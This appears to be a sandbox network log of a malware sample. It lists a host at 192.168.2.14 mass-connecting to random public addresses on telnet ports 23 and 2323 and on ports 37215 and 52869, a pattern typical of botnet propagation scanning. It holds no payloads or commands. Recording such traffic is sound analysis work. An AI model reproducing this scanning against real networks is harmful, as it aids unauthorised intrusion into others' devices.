Dec 4, 2024 20:34:33.014580011 CET	39552	2323	192.168.2.14	41.245.255.88
Dec 4, 2024 20:34:33.078594923 CET	35756	23	192.168.2.14	64.37.90.98
Dec 4, 2024 20:34:33.078597069 CET	40704	37215	192.168.2.14	156.66.149.192
Dec 4, 2024 20:34:33.078598022 CET	53222	23	192.168.2.14	65.210.239.74
Dec 4, 2024 20:34:33.078598022 CET	39256	23	192.168.2.14	129.4.154.94
Dec 4, 2024 20:34:33.078598976 CET	38160	23	192.168.2.14	175.54.171.246
Dec 4, 2024 20:34:33.078598022 CET	60654	23	192.168.2.14	63.93.247.17
Dec 4, 2024 20:34:33.078598022 CET	60592	23	192.168.2.14	195.88.180.72
Dec 4, 2024 20:34:33.078594923 CET	49900	23	192.168.2.14	38.185.149.251
Dec 4, 2024 20:34:33.078597069 CET	48452	23	192.168.2.14	38.85.184.15
Dec 4, 2024 20:34:33.078594923 CET	44604	23	192.168.2.14	103.222.238.109
Dec 4, 2024 20:34:33.078620911 CET	44778	23	192.168.2.14	160.113.182.46
Dec 4, 2024 20:34:33.078620911 CET	42226	2323	192.168.2.14	139.203.168.53
Dec 4, 2024 20:34:33.078622103 CET	58524	37215	192.168.2.14	197.81.80.221
Dec 4, 2024 20:34:33.078622103 CET	38004	23	192.168.2.14	142.8.161.214
Dec 4, 2024 20:34:33.078622103 CET	60050	23	192.168.2.14	36.173.135.124
Dec 4, 2024 20:34:33.078622103 CET	49086	23	192.168.2.14	213.194.145.218
Dec 4, 2024 20:34:33.078622103 CET	58712	23	192.168.2.14	82.54.118.213
Dec 4, 2024 20:34:33.078624964 CET	37564	23	192.168.2.14	44.177.131.156
Dec 4, 2024 20:34:33.078624964 CET	57698	23	192.168.2.14	182.216.226.152
Dec 4, 2024 20:34:33.078627110 CET	50718	2323	192.168.2.14	171.161.255.216
Dec 4, 2024 20:34:33.078627110 CET	34632	23	192.168.2.14	161.204.36.67
Dec 4, 2024 20:34:33.078627110 CET	34912	23	192.168.2.14	84.172.76.218
Dec 4, 2024 20:34:33.078627110 CET	33700	23	192.168.2.14	99.251.34.246
Dec 4, 2024 20:34:33.078627110 CET	58694	23	192.168.2.14	184.99.73.225
Dec 4, 2024 20:34:33.078629017 CET	39554	23	192.168.2.14	161.193.252.223
Dec 4, 2024 20:34:33.078629017 CET	34472	23	192.168.2.14	164.152.144.218
Dec 4, 2024 20:34:33.078629017 CET	39004	23	192.168.2.14	70.38.173.168
Dec 4, 2024 20:34:33.128264904 CET	60275	37215	192.168.2.14	41.86.83.79
Dec 4, 2024 20:34:33.128266096 CET	60275	37215	192.168.2.14	41.171.16.118
Dec 4, 2024 20:34:33.128264904 CET	60275	37215	192.168.2.14	41.154.34.131
Dec 4, 2024 20:34:33.128264904 CET	60275	37215	192.168.2.14	41.149.45.189
Dec 4, 2024 20:34:33.128266096 CET	60275	37215	192.168.2.14	197.229.233.212
Dec 4, 2024 20:34:33.128266096 CET	60275	37215	192.168.2.14	197.102.131.247
Dec 4, 2024 20:34:33.128272057 CET	60275	37215	192.168.2.14	197.30.55.136
Dec 4, 2024 20:34:33.128272057 CET	60275	37215	192.168.2.14	156.23.253.150
Dec 4, 2024 20:34:33.128272057 CET	60275	37215	192.168.2.14	197.65.201.91
Dec 4, 2024 20:34:33.128272057 CET	60275	37215	192.168.2.14	41.30.13.38
Dec 4, 2024 20:34:33.128272057 CET	60275	37215	192.168.2.14	156.105.179.134
Dec 4, 2024 20:34:33.128272057 CET	60275	37215	192.168.2.14	156.92.125.88
Dec 4, 2024 20:34:33.128272057 CET	60275	37215	192.168.2.14	156.21.95.142
Dec 4, 2024 20:34:33.128273010 CET	60275	37215	192.168.2.14	156.152.174.125
Dec 4, 2024 20:34:33.128273964 CET	60275	37215	192.168.2.14	41.209.73.21
Dec 4, 2024 20:34:33.128277063 CET	60275	37215	192.168.2.14	41.236.100.250
Dec 4, 2024 20:34:33.128273964 CET	60275	37215	192.168.2.14	156.135.45.186
Dec 4, 2024 20:34:33.128277063 CET	60275	37215	192.168.2.14	41.91.21.84
Dec 4, 2024 20:34:33.128283024 CET	60275	37215	192.168.2.14	156.246.113.33
Dec 4, 2024 20:34:33.128283024 CET	60275	37215	192.168.2.14	41.247.243.240
Dec 4, 2024 20:34:33.128273964 CET	60275	37215	192.168.2.14	41.84.136.136
Dec 4, 2024 20:34:33.128283024 CET	60275	37215	192.168.2.14	197.1.250.57
Dec 4, 2024 20:34:33.128273964 CET	60275	37215	192.168.2.14	41.254.190.223
Dec 4, 2024 20:34:33.128283024 CET	60275	37215	192.168.2.14	197.94.95.10
Dec 4, 2024 20:34:33.128273964 CET	60275	37215	192.168.2.14	156.62.117.153
Dec 4, 2024 20:34:33.128283024 CET	60275	37215	192.168.2.14	156.39.250.75
Dec 4, 2024 20:34:33.128277063 CET	60275	37215	192.168.2.14	197.103.66.66
Dec 4, 2024 20:34:33.128277063 CET	60275	37215	192.168.2.14	197.24.163.255
Dec 4, 2024 20:34:33.128277063 CET	60275	37215	192.168.2.14	197.244.99.24
Dec 4, 2024 20:34:33.128277063 CET	60275	37215	192.168.2.14	197.83.203.246
Dec 4, 2024 20:34:33.128281116 CET	60275	37215	192.168.2.14	41.86.217.16
Dec 4, 2024 20:34:33.128345013 CET	60275	37215	192.168.2.14	156.225.213.224
Dec 4, 2024 20:34:33.128345013 CET	60275	37215	192.168.2.14	197.153.171.105
Dec 4, 2024 20:34:33.128345013 CET	60275	37215	192.168.2.14	41.4.159.220
Dec 4, 2024 20:34:33.128345966 CET	60275	37215	192.168.2.14	197.30.22.12
Dec 4, 2024 20:34:33.128345013 CET	60275	37215	192.168.2.14	156.121.101.190
Dec 4, 2024 20:34:33.128346920 CET	60275	37215	192.168.2.14	41.97.58.8
Dec 4, 2024 20:34:33.128346920 CET	60275	37215	192.168.2.14	197.90.209.122
Dec 4, 2024 20:34:33.128345013 CET	60275	37215	192.168.2.14	197.91.49.44
Dec 4, 2024 20:34:33.128346920 CET	60275	37215	192.168.2.14	197.205.108.114
Dec 4, 2024 20:34:33.128348112 CET	60275	37215	192.168.2.14	156.0.207.64
Dec 4, 2024 20:34:33.128349066 CET	60275	37215	192.168.2.14	156.252.161.168
Dec 4, 2024 20:34:33.128346920 CET	60275	37215	192.168.2.14	197.232.222.123
Dec 4, 2024 20:34:33.128348112 CET	60275	37215	192.168.2.14	41.142.187.215
Dec 4, 2024 20:34:33.128346920 CET	60275	37215	192.168.2.14	41.205.174.251
Dec 4, 2024 20:34:33.128348112 CET	60275	37215	192.168.2.14	41.208.163.14
Dec 4, 2024 20:34:33.128345966 CET	60275	37215	192.168.2.14	156.140.147.223
Dec 4, 2024 20:34:33.128345013 CET	60275	37215	192.168.2.14	41.251.85.24
Dec 4, 2024 20:34:33.128346920 CET	60275	37215	192.168.2.14	156.20.188.243
Dec 4, 2024 20:34:33.128349066 CET	60275	37215	192.168.2.14	156.141.72.71
Dec 4, 2024 20:34:33.128349066 CET	60275	37215	192.168.2.14	41.214.138.223
Dec 4, 2024 20:34:33.128348112 CET	60275	37215	192.168.2.14	156.13.190.138
Dec 4, 2024 20:34:33.128348112 CET	60275	37215	192.168.2.14	197.254.195.36
Dec 4, 2024 20:34:33.128346920 CET	60275	37215	192.168.2.14	197.61.48.238
Dec 4, 2024 20:34:33.128349066 CET	60275	37215	192.168.2.14	41.201.176.146
Dec 4, 2024 20:34:33.128349066 CET	60275	37215	192.168.2.14	156.108.103.202
Dec 4, 2024 20:34:33.128349066 CET	60275	37215	192.168.2.14	156.221.62.242
Dec 4, 2024 20:34:33.128346920 CET	60275	37215	192.168.2.14	41.93.142.225
Dec 4, 2024 20:34:33.128349066 CET	60275	37215	192.168.2.14	197.250.31.150
Dec 4, 2024 20:34:33.128346920 CET	60275	37215	192.168.2.14	156.99.121.168
Dec 4, 2024 20:34:33.128349066 CET	60275	37215	192.168.2.14	156.49.228.229
Dec 4, 2024 20:34:33.128345966 CET	60275	37215	192.168.2.14	156.223.24.56
Dec 4, 2024 20:34:33.128349066 CET	60275	37215	192.168.2.14	156.11.118.168
Dec 4, 2024 20:34:33.128346920 CET	60275	37215	192.168.2.14	197.27.81.112
Dec 4, 2024 20:34:33.128348112 CET	60275	37215	192.168.2.14	197.239.20.73
Dec 4, 2024 20:34:33.128349066 CET	60275	37215	192.168.2.14	197.19.160.45
Dec 4, 2024 20:34:33.128345013 CET	60275	37215	192.168.2.14	197.43.92.209
Dec 4, 2024 20:34:33.128349066 CET	60275	37215	192.168.2.14	41.10.81.116
Dec 4, 2024 20:34:33.128349066 CET	60275	37215	192.168.2.14	197.228.222.209
Dec 4, 2024 20:34:33.128345966 CET	60275	37215	192.168.2.14	197.55.13.9
Dec 4, 2024 20:34:33.128349066 CET	60275	37215	192.168.2.14	197.212.169.83
Dec 4, 2024 20:34:33.128346920 CET	60275	37215	192.168.2.14	156.158.210.54
Dec 4, 2024 20:34:33.128348112 CET	60275	37215	192.168.2.14	41.213.156.67
Dec 4, 2024 20:34:33.128349066 CET	60275	37215	192.168.2.14	197.139.235.3
Dec 4, 2024 20:34:33.128346920 CET	60275	37215	192.168.2.14	197.113.242.72
Dec 4, 2024 20:34:33.128346920 CET	60275	37215	192.168.2.14	156.32.251.142
Dec 4, 2024 20:34:33.128349066 CET	60275	37215	192.168.2.14	197.105.144.234
Dec 4, 2024 20:34:33.128377914 CET	60275	37215	192.168.2.14	156.86.230.61
Dec 4, 2024 20:34:33.128346920 CET	60275	37215	192.168.2.14	41.142.214.115
Dec 4, 2024 20:34:33.128348112 CET	60275	37215	192.168.2.14	197.210.136.165
Dec 4, 2024 20:34:33.128349066 CET	60275	37215	192.168.2.14	197.189.148.70
Dec 4, 2024 20:34:33.128348112 CET	60275	37215	192.168.2.14	197.214.192.242
Dec 4, 2024 20:34:33.128377914 CET	60275	37215	192.168.2.14	197.215.203.67
Dec 4, 2024 20:34:33.128348112 CET	60275	37215	192.168.2.14	156.158.5.216
Dec 4, 2024 20:34:33.128377914 CET	60275	37215	192.168.2.14	156.98.151.142
Dec 4, 2024 20:34:33.128385067 CET	60275	37215	192.168.2.14	156.175.4.71
Dec 4, 2024 20:34:33.128348112 CET	60275	37215	192.168.2.14	156.168.51.185
Dec 4, 2024 20:34:33.128377914 CET	60275	37215	192.168.2.14	197.71.162.97
Dec 4, 2024 20:34:33.128349066 CET	60275	37215	192.168.2.14	156.72.227.140
Dec 4, 2024 20:34:33.128384113 CET	60275	37215	192.168.2.14	156.170.5.239
Dec 4, 2024 20:34:33.128385067 CET	60275	37215	192.168.2.14	197.150.249.95
Dec 4, 2024 20:34:33.128384113 CET	60275	37215	192.168.2.14	197.50.123.176
Dec 4, 2024 20:34:33.128377914 CET	60275	37215	192.168.2.14	156.182.204.81
Dec 4, 2024 20:34:33.128384113 CET	60275	37215	192.168.2.14	156.96.213.78
Dec 4, 2024 20:34:33.128391981 CET	60275	37215	192.168.2.14	41.161.87.248
Dec 4, 2024 20:34:33.128384113 CET	60275	37215	192.168.2.14	156.64.229.96
Dec 4, 2024 20:34:33.128391981 CET	60275	37215	192.168.2.14	41.148.132.7
Dec 4, 2024 20:34:33.128384113 CET	60275	37215	192.168.2.14	41.108.31.124
Dec 4, 2024 20:34:33.128391981 CET	60275	37215	192.168.2.14	156.33.34.5
Dec 4, 2024 20:34:33.128392935 CET	60275	37215	192.168.2.14	41.133.116.240
Dec 4, 2024 20:34:33.128385067 CET	60275	37215	192.168.2.14	156.173.250.195
Dec 4, 2024 20:34:33.128392935 CET	60275	37215	192.168.2.14	197.235.133.115
Dec 4, 2024 20:34:33.128385067 CET	60275	37215	192.168.2.14	156.113.97.110
Dec 4, 2024 20:34:33.128392935 CET	60275	37215	192.168.2.14	156.128.52.218
Dec 4, 2024 20:34:33.128385067 CET	60275	37215	192.168.2.14	156.242.162.219
Dec 4, 2024 20:34:33.128392935 CET	60275	37215	192.168.2.14	156.137.4.214
Dec 4, 2024 20:34:33.128385067 CET	60275	37215	192.168.2.14	156.1.203.126
Dec 4, 2024 20:34:33.128392935 CET	60275	37215	192.168.2.14	197.61.192.71
Dec 4, 2024 20:34:33.128385067 CET	60275	37215	192.168.2.14	156.211.177.67
Dec 4, 2024 20:34:33.128392935 CET	60275	37215	192.168.2.14	41.177.31.197
Dec 4, 2024 20:34:33.128384113 CET	60275	37215	192.168.2.14	156.223.105.180
Dec 4, 2024 20:34:33.128391981 CET	60275	37215	192.168.2.14	41.220.11.115
Dec 4, 2024 20:34:33.128397942 CET	60275	37215	192.168.2.14	41.182.222.239
Dec 4, 2024 20:34:33.128391981 CET	60275	37215	192.168.2.14	156.30.129.95
Dec 4, 2024 20:34:33.128401995 CET	60275	37215	192.168.2.14	197.134.88.35
Dec 4, 2024 20:34:33.128401995 CET	60275	37215	192.168.2.14	156.123.133.88
Dec 4, 2024 20:34:33.128402948 CET	60275	37215	192.168.2.14	156.148.154.121
Dec 4, 2024 20:34:33.128401995 CET	60275	37215	192.168.2.14	41.199.82.94
Dec 4, 2024 20:34:33.128402948 CET	60275	37215	192.168.2.14	41.124.109.155
Dec 4, 2024 20:34:33.128385067 CET	60275	37215	192.168.2.14	197.18.55.253
Dec 4, 2024 20:34:33.128392935 CET	60275	37215	192.168.2.14	197.166.240.61
Dec 4, 2024 20:34:33.128391981 CET	60275	37215	192.168.2.14	156.250.178.140
Dec 4, 2024 20:34:33.128392935 CET	60275	37215	192.168.2.14	41.242.112.178
Dec 4, 2024 20:34:33.128397942 CET	60275	37215	192.168.2.14	41.118.249.4
Dec 4, 2024 20:34:33.128391981 CET	60275	37215	192.168.2.14	156.0.52.56
Dec 4, 2024 20:34:33.128397942 CET	60275	37215	192.168.2.14	156.103.175.253
Dec 4, 2024 20:34:33.128401995 CET	60275	37215	192.168.2.14	197.128.131.144
Dec 4, 2024 20:34:33.128402948 CET	60275	37215	192.168.2.14	197.248.70.138
Dec 4, 2024 20:34:33.128401995 CET	60275	37215	192.168.2.14	156.47.241.73
Dec 4, 2024 20:34:33.128402948 CET	60275	37215	192.168.2.14	41.5.203.23
Dec 4, 2024 20:34:33.128401995 CET	60275	37215	192.168.2.14	197.48.124.68
Dec 4, 2024 20:34:33.128402948 CET	60275	37215	192.168.2.14	197.133.35.135
Dec 4, 2024 20:34:33.128401995 CET	60275	37215	192.168.2.14	156.14.107.35
Dec 4, 2024 20:34:33.128402948 CET	60275	37215	192.168.2.14	41.131.91.81
Dec 4, 2024 20:34:33.128402948 CET	60275	37215	192.168.2.14	197.230.10.167
Dec 4, 2024 20:34:33.128422022 CET	60275	37215	192.168.2.14	197.16.181.133
Dec 4, 2024 20:34:33.128422022 CET	60275	37215	192.168.2.14	197.55.223.160
Dec 4, 2024 20:34:33.128422022 CET	60275	37215	192.168.2.14	197.75.63.164
Dec 4, 2024 20:34:33.128424883 CET	60275	37215	192.168.2.14	156.15.82.120
Dec 4, 2024 20:34:33.128424883 CET	60275	37215	192.168.2.14	156.36.97.42
Dec 4, 2024 20:34:33.128424883 CET	60275	37215	192.168.2.14	41.127.184.164
Dec 4, 2024 20:34:33.128427982 CET	60275	37215	192.168.2.14	156.164.183.36
Dec 4, 2024 20:34:33.128437996 CET	60275	37215	192.168.2.14	156.162.113.246
Dec 4, 2024 20:34:33.128437996 CET	60275	37215	192.168.2.14	197.199.38.104
Dec 4, 2024 20:34:33.128438950 CET	60275	37215	192.168.2.14	197.87.242.152
Dec 4, 2024 20:34:33.128453016 CET	60275	37215	192.168.2.14	156.102.136.32
Dec 4, 2024 20:34:33.128458023 CET	60275	37215	192.168.2.14	197.154.129.166
Dec 4, 2024 20:34:33.128460884 CET	60275	37215	192.168.2.14	41.122.233.207
Dec 4, 2024 20:34:33.128460884 CET	60275	37215	192.168.2.14	41.18.37.207
Dec 4, 2024 20:34:33.128479958 CET	60275	37215	192.168.2.14	197.121.234.58
Dec 4, 2024 20:34:33.128479958 CET	60275	37215	192.168.2.14	197.107.92.67
Dec 4, 2024 20:34:33.128479958 CET	60275	37215	192.168.2.14	197.114.37.76
Dec 4, 2024 20:34:33.128493071 CET	60275	37215	192.168.2.14	41.85.134.252
Dec 4, 2024 20:34:33.128494978 CET	60275	37215	192.168.2.14	41.9.110.173
Dec 4, 2024 20:34:33.128500938 CET	60275	37215	192.168.2.14	197.234.74.127
Dec 4, 2024 20:34:33.128519058 CET	60275	37215	192.168.2.14	197.68.0.195
Dec 4, 2024 20:34:33.128521919 CET	60275	37215	192.168.2.14	156.168.85.221
Dec 4, 2024 20:34:33.128525972 CET	60275	37215	192.168.2.14	197.7.115.87
Dec 4, 2024 20:34:33.128526926 CET	60275	37215	192.168.2.14	156.183.204.223
Dec 4, 2024 20:34:33.128555059 CET	60275	37215	192.168.2.14	41.172.228.138
Dec 4, 2024 20:34:33.137273073 CET	23	46692	41.232.236.37	192.168.2.14
Dec 4, 2024 20:34:33.137310982 CET	23	46724	41.232.236.37	192.168.2.14
Dec 4, 2024 20:34:33.137381077 CET	46724	23	192.168.2.14	41.232.236.37
Dec 4, 2024 20:34:33.137907028 CET	23	60787	210.255.98.66	192.168.2.14
Dec 4, 2024 20:34:33.137921095 CET	2323	60787	146.69.126.92	192.168.2.14
Dec 4, 2024 20:34:33.137943029 CET	23	60787	23.209.45.12	192.168.2.14
Dec 4, 2024 20:34:33.137953043 CET	60787	23	192.168.2.14	210.255.98.66
Dec 4, 2024 20:34:33.137954950 CET	23	60787	32.67.207.100	192.168.2.14
Dec 4, 2024 20:34:33.137959003 CET	60787	2323	192.168.2.14	146.69.126.92
Dec 4, 2024 20:34:33.137980938 CET	60787	23	192.168.2.14	23.209.45.12
Dec 4, 2024 20:34:33.138001919 CET	23	60787	91.89.225.46	192.168.2.14
Dec 4, 2024 20:34:33.138003111 CET	60787	23	192.168.2.14	32.67.207.100
Dec 4, 2024 20:34:33.138015032 CET	23	60787	77.33.158.52	192.168.2.14
Dec 4, 2024 20:34:33.138027906 CET	23	60787	172.81.57.50	192.168.2.14
Dec 4, 2024 20:34:33.138036013 CET	60787	23	192.168.2.14	91.89.225.46
Dec 4, 2024 20:34:33.138040066 CET	23	60787	89.27.117.107	192.168.2.14
Dec 4, 2024 20:34:33.138051033 CET	60787	23	192.168.2.14	77.33.158.52
Dec 4, 2024 20:34:33.138056993 CET	60787	23	192.168.2.14	172.81.57.50
Dec 4, 2024 20:34:33.138063908 CET	23	60787	181.211.42.104	192.168.2.14
Dec 4, 2024 20:34:33.138077021 CET	60787	23	192.168.2.14	89.27.117.107
Dec 4, 2024 20:34:33.138077974 CET	23	60787	82.200.112.32	192.168.2.14
Dec 4, 2024 20:34:33.138092041 CET	2323	60787	208.188.10.106	192.168.2.14
Dec 4, 2024 20:34:33.138108969 CET	60787	23	192.168.2.14	181.211.42.104
Dec 4, 2024 20:34:33.138113976 CET	60787	23	192.168.2.14	82.200.112.32
Dec 4, 2024 20:34:33.138119936 CET	23	60787	191.42.37.108	192.168.2.14
Dec 4, 2024 20:34:33.138127089 CET	60787	2323	192.168.2.14	208.188.10.106
Dec 4, 2024 20:34:33.138132095 CET	23	60787	107.171.73.72	192.168.2.14
Dec 4, 2024 20:34:33.138154984 CET	23	60787	186.87.163.245	192.168.2.14
Dec 4, 2024 20:34:33.138156891 CET	60787	23	192.168.2.14	191.42.37.108
Dec 4, 2024 20:34:33.138156891 CET	60787	23	192.168.2.14	107.171.73.72
Dec 4, 2024 20:34:33.138168097 CET	23	60787	203.26.15.64	192.168.2.14
Dec 4, 2024 20:34:33.138189077 CET	60787	23	192.168.2.14	186.87.163.245
Dec 4, 2024 20:34:33.138195038 CET	23	60787	5.167.167.242	192.168.2.14
Dec 4, 2024 20:34:33.138201952 CET	60787	23	192.168.2.14	203.26.15.64
Dec 4, 2024 20:34:33.138219118 CET	23	60787	100.203.202.177	192.168.2.14
Dec 4, 2024 20:34:33.138231039 CET	23	60787	109.90.28.35	192.168.2.14
Dec 4, 2024 20:34:33.138233900 CET	60787	23	192.168.2.14	5.167.167.242
Dec 4, 2024 20:34:33.138252974 CET	23	60787	154.144.70.112	192.168.2.14
Dec 4, 2024 20:34:33.138253927 CET	60787	23	192.168.2.14	100.203.202.177
Dec 4, 2024 20:34:33.138266087 CET	23	60787	122.197.74.96	192.168.2.14
Dec 4, 2024 20:34:33.138272047 CET	60787	23	192.168.2.14	109.90.28.35
Dec 4, 2024 20:34:33.138284922 CET	60787	23	192.168.2.14	122.197.74.96
Dec 4, 2024 20:34:33.138288021 CET	23	60787	103.74.37.109	192.168.2.14
Dec 4, 2024 20:34:33.138289928 CET	60787	23	192.168.2.14	154.144.70.112
Dec 4, 2024 20:34:33.138300896 CET	23	60787	163.242.133.68	192.168.2.14
Dec 4, 2024 20:34:33.138312101 CET	23	60787	216.37.170.175	192.168.2.14
Dec 4, 2024 20:34:33.138324976 CET	23	60787	52.255.1.228	192.168.2.14
Dec 4, 2024 20:34:33.138325930 CET	60787	23	192.168.2.14	103.74.37.109
Dec 4, 2024 20:34:33.138330936 CET	60787	23	192.168.2.14	163.242.133.68
Dec 4, 2024 20:34:33.138339043 CET	60787	23	192.168.2.14	216.37.170.175
Dec 4, 2024 20:34:33.138350010 CET	2323	44196	73.219.199.141	192.168.2.14
Dec 4, 2024 20:34:33.138359070 CET	60787	23	192.168.2.14	52.255.1.228
Dec 4, 2024 20:34:33.139117002 CET	23	46784	72.154.248.245	192.168.2.14
Dec 4, 2024 20:34:33.139143944 CET	23	58002	180.221.166.246	192.168.2.14
Dec 4, 2024 20:34:33.139156103 CET	23	34892	87.158.11.91	192.168.2.14
Dec 4, 2024 20:34:33.139178038 CET	23	42044	141.195.64.207	192.168.2.14
Dec 4, 2024 20:34:33.139190912 CET	2323	42152	180.191.196.252	192.168.2.14
Dec 4, 2024 20:34:33.139225960 CET	23	39026	183.146.203.76	192.168.2.14
Dec 4, 2024 20:34:33.139286041 CET	2323	60350	149.210.117.222	192.168.2.14
Dec 4, 2024 20:34:33.140131950 CET	52869	43772	156.48.242.95	192.168.2.14
Dec 4, 2024 20:34:33.140144110 CET	23	50048	67.211.69.196	192.168.2.14
Dec 4, 2024 20:34:33.140156031 CET	52869	53508	41.217.152.38	192.168.2.14
Dec 4, 2024 20:34:33.140191078 CET	43772	52869	192.168.2.14	156.48.242.95
Dec 4, 2024 20:34:33.140208960 CET	53508	52869	192.168.2.14	41.217.152.38
Dec 4, 2024 20:34:33.140208960 CET	60019	52869	192.168.2.14	41.255.254.183
Dec 4, 2024 20:34:33.140217066 CET	2323	39552	41.245.255.88	192.168.2.14
Dec 4, 2024 20:34:33.140225887 CET	60019	52869	192.168.2.14	197.101.161.246
Dec 4, 2024 20:34:33.140229940 CET	52869	60542	41.117.90.30	192.168.2.14
Dec 4, 2024 20:34:33.140234947 CET	60019	52869	192.168.2.14	197.118.145.129
Dec 4, 2024 20:34:33.140237093 CET	60019	52869	192.168.2.14	41.139.223.28
Dec 4, 2024 20:34:33.140243053 CET	60019	52869	192.168.2.14	41.132.60.133
Dec 4, 2024 20:34:33.140243053 CET	60019	52869	192.168.2.14	41.68.208.124
Dec 4, 2024 20:34:33.140244961 CET	60019	52869	192.168.2.14	156.252.124.15
Dec 4, 2024 20:34:33.140248060 CET	52869	52148	156.59.66.240	192.168.2.14
Dec 4, 2024 20:34:33.140255928 CET	60019	52869	192.168.2.14	197.110.149.169
Dec 4, 2024 20:34:33.140264034 CET	60019	52869	192.168.2.14	197.249.97.93
Dec 4, 2024 20:34:33.140264034 CET	39552	2323	192.168.2.14	41.245.255.88
Dec 4, 2024 20:34:33.140264034 CET	60019	52869	192.168.2.14	156.13.17.206
Dec 4, 2024 20:34:33.140269041 CET	60542	52869	192.168.2.14	41.117.90.30
Dec 4, 2024 20:34:33.140271902 CET	60019	52869	192.168.2.14	197.96.156.171
Dec 4, 2024 20:34:33.140280008 CET	60019	52869	192.168.2.14	197.250.11.189
Dec 4, 2024 20:34:33.140280008 CET	60019	52869	192.168.2.14	197.168.151.76
Dec 4, 2024 20:34:33.140283108 CET	60019	52869	192.168.2.14	197.40.210.176
Dec 4, 2024 20:34:33.140291929 CET	60019	52869	192.168.2.14	197.21.200.202
Dec 4, 2024 20:34:33.140292883 CET	52148	52869	192.168.2.14	156.59.66.240
Dec 4, 2024 20:34:33.140296936 CET	60019	52869	192.168.2.14	156.205.195.161
Dec 4, 2024 20:34:33.140305996 CET	60019	52869	192.168.2.14	197.49.100.14
Dec 4, 2024 20:34:33.140307903 CET	60019	52869	192.168.2.14	156.58.198.254
Dec 4, 2024 20:34:33.140315056 CET	60019	52869	192.168.2.14	41.127.30.200
Dec 4, 2024 20:34:33.140317917 CET	60019	52869	192.168.2.14	41.138.169.41
Dec 4, 2024 20:34:33.140317917 CET	60019	52869	192.168.2.14	41.60.172.6
Dec 4, 2024 20:34:33.140324116 CET	60019	52869	192.168.2.14	41.69.242.81
Dec 4, 2024 20:34:33.140324116 CET	60019	52869	192.168.2.14	197.233.0.98
Dec 4, 2024 20:34:33.140330076 CET	60019	52869	192.168.2.14	41.108.217.242
Dec 4, 2024 20:34:33.140330076 CET	60019	52869	192.168.2.14	156.93.33.92
Dec 4, 2024 20:34:33.140332937 CET	60019	52869	192.168.2.14	41.10.65.185
Dec 4, 2024 20:34:33.140340090 CET	60019	52869	192.168.2.14	197.241.154.211
Dec 4, 2024 20:34:33.140363932 CET	60019	52869	192.168.2.14	156.8.175.164
Dec 4, 2024 20:34:33.140363932 CET	60019	52869	192.168.2.14	41.89.244.106
Dec 4, 2024 20:34:33.140363932 CET	60019	52869	192.168.2.14	156.62.162.23
Dec 4, 2024 20:34:33.140363932 CET	60019	52869	192.168.2.14	41.186.90.116
Dec 4, 2024 20:34:33.140381098 CET	60019	52869	192.168.2.14	156.94.51.246
Dec 4, 2024 20:34:33.140381098 CET	60019	52869	192.168.2.14	197.143.92.144
Dec 4, 2024 20:34:33.140382051 CET	60019	52869	192.168.2.14	156.102.243.64
Dec 4, 2024 20:34:33.140382051 CET	60019	52869	192.168.2.14	197.33.94.0
Dec 4, 2024 20:34:33.140383005 CET	60019	52869	192.168.2.14	156.61.247.153
Dec 4, 2024 20:34:33.140384912 CET	60019	52869	192.168.2.14	197.105.200.103
Dec 4, 2024 20:34:33.140392065 CET	60019	52869	192.168.2.14	41.92.70.53
Dec 4, 2024 20:34:33.140392065 CET	60019	52869	192.168.2.14	156.231.48.192
Dec 4, 2024 20:34:33.140392065 CET	60019	52869	192.168.2.14	41.50.84.136
Dec 4, 2024 20:34:33.140393972 CET	60019	52869	192.168.2.14	41.189.71.53
Dec 4, 2024 20:34:33.140394926 CET	60019	52869	192.168.2.14	41.221.213.6
Dec 4, 2024 20:34:33.140394926 CET	60019	52869	192.168.2.14	41.215.87.29
Dec 4, 2024 20:34:33.140398026 CET	60019	52869	192.168.2.14	156.143.191.246
Dec 4, 2024 20:34:33.140398979 CET	60019	52869	192.168.2.14	156.229.92.184
Dec 4, 2024 20:34:33.140407085 CET	60019	52869	192.168.2.14	41.125.120.0
Dec 4, 2024 20:34:33.140407085 CET	60019	52869	192.168.2.14	156.213.104.115
Dec 4, 2024 20:34:33.140408993 CET	60019	52869	192.168.2.14	41.130.53.237
Dec 4, 2024 20:34:33.140408993 CET	60019	52869	192.168.2.14	156.4.55.150
Dec 4, 2024 20:34:33.140408993 CET	60019	52869	192.168.2.14	197.26.211.14
Dec 4, 2024 20:34:33.140410900 CET	60019	52869	192.168.2.14	41.188.106.116
Dec 4, 2024 20:34:33.140410900 CET	60019	52869	192.168.2.14	156.189.53.211
Dec 4, 2024 20:34:33.140410900 CET	60019	52869	192.168.2.14	156.101.242.198
Dec 4, 2024 20:34:33.140410900 CET	60019	52869	192.168.2.14	197.31.88.73
Dec 4, 2024 20:34:33.140438080 CET	60019	52869	192.168.2.14	197.200.239.25
Dec 4, 2024 20:34:33.140438080 CET	60019	52869	192.168.2.14	197.68.163.252
Dec 4, 2024 20:34:33.140439987 CET	60019	52869	192.168.2.14	156.189.28.22
Dec 4, 2024 20:34:33.140440941 CET	60019	52869	192.168.2.14	41.176.98.240
Dec 4, 2024 20:34:33.140441895 CET	60019	52869	192.168.2.14	156.15.178.88
Dec 4, 2024 20:34:33.140441895 CET	60019	52869	192.168.2.14	197.219.118.96
Dec 4, 2024 20:34:33.140441895 CET	60019	52869	192.168.2.14	156.24.139.98
Dec 4, 2024 20:34:33.140443087 CET	60019	52869	192.168.2.14	41.117.118.139
Dec 4, 2024 20:34:33.140440941 CET	60019	52869	192.168.2.14	156.230.38.105
Dec 4, 2024 20:34:33.140443087 CET	60019	52869	192.168.2.14	197.107.254.72
Dec 4, 2024 20:34:33.140441895 CET	60019	52869	192.168.2.14	156.170.167.184
Dec 4, 2024 20:34:33.140443087 CET	60019	52869	192.168.2.14	41.244.103.173
Dec 4, 2024 20:34:33.140443087 CET	60019	52869	192.168.2.14	197.4.2.86
Dec 4, 2024 20:34:33.140441895 CET	60019	52869	192.168.2.14	156.197.129.202
Dec 4, 2024 20:34:33.140440941 CET	60019	52869	192.168.2.14	197.93.83.101
Dec 4, 2024 20:34:33.140441895 CET	60019	52869	192.168.2.14	41.43.58.107
Dec 4, 2024 20:34:33.140443087 CET	60019	52869	192.168.2.14	156.101.68.204
Dec 4, 2024 20:34:33.140443087 CET	60019	52869	192.168.2.14	41.130.204.215
Dec 4, 2024 20:34:33.140453100 CET	60019	52869	192.168.2.14	197.66.121.229
Dec 4, 2024 20:34:33.140453100 CET	60019	52869	192.168.2.14	156.252.181.24
Dec 4, 2024 20:34:33.140461922 CET	60019	52869	192.168.2.14	197.20.188.167
Dec 4, 2024 20:34:33.140461922 CET	60019	52869	192.168.2.14	156.63.220.5
Dec 4, 2024 20:34:33.140467882 CET	60019	52869	192.168.2.14	156.224.10.152
